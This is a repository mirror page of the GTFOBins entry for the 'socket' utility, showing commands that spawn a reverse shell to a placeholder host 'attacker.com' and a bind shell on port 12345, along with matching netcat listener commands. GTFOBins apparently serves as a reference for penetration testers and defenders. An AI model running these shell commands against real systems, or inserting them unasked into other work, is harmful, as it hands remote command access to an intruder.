This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-21 19:15:03 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
a9c993b8c8a888c6474d13b33106c689cca40375
GTFOBins.github.io
/
_gtfobins
/
socket.md
Andrea Cardaci
4baad5b113
Add socket
...
This supersedes and
close
#345
.
2022-12-16 22:57:00 +01:00
403 B
Raw
Blame
History
function
function
reverse-shell
bind-shell
description
code
Run `nc -l -p 12345` on the attacker box to receive the shell.
RHOST=attacker.com RPORT=12345 socket -qvp '/bin/sh -i' $RHOST $RPORT
description
code
Run `nc target.com 12345` on the attacker box to connect to the shell.
LPORT=12345 socket -svp '/bin/sh -i' $LPORT
Reference in New Issue
View Git Blame
Copy Permalink